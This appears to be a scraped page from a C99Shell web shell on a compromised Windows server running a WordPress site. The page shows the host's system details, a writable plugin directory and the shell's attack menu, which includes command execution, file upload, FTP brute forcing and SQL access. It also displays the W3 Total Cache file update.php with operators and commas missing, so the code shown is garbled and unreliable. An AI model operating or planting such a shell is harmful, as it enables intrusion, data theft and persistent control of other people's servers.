!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\w3-total-cache\inc\functions\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update.php (1.33 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
w3_require_once
(W3TC_INC_DIR '/functions/file.php');

/**
 * Removes old legacy folders. User gets a note about manual removal if the function can't delete all in 20 seconds.
 */
function w3_remove_old_folders() {
    
$config_admin w3_instance('W3_ConfigAdmin');
    
$old_folders w3_find_old_folders();
    if (
$old_folders) {
        
$config_admin->set('notes.remove_w3tc',true);
        
$config_admin->save();

        @
set_time_limit(20);
        foreach (
$old_folders as $old_folder)
            
w3_rmdir($old_folder);

        
$config_admin->set('notes.remove_w3tc',false);
        
$config_admin->save();
    }
}

/**
 * Finds and returns a list of old legacy folders.
 * @return array
 */
function w3_find_old_folders(){
    
$dir = @opendir(WP_CONTENT_DIR);
    
$include 'w3tc*';
    
$exclude 'w3tc-config';
    
$folders = array();
    if (
$dir) {
        while ((
$entry = @readdir($dir)) !== false) {
            if (
$entry == '.' || $entry == '..') {
                continue;
            }

            if (
fnmatch($excludebasename($entry))) {
                    continue;
            }
            if (
fnmatch($includebasename($entry))) {
                @
closedir($dir);
                
$folders[] = WP_CONTENT_DIR DIRECTORY_SEPARATOR $entry;
            }
        }

        @
closedir($dir);
    }
    return 
$folders;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--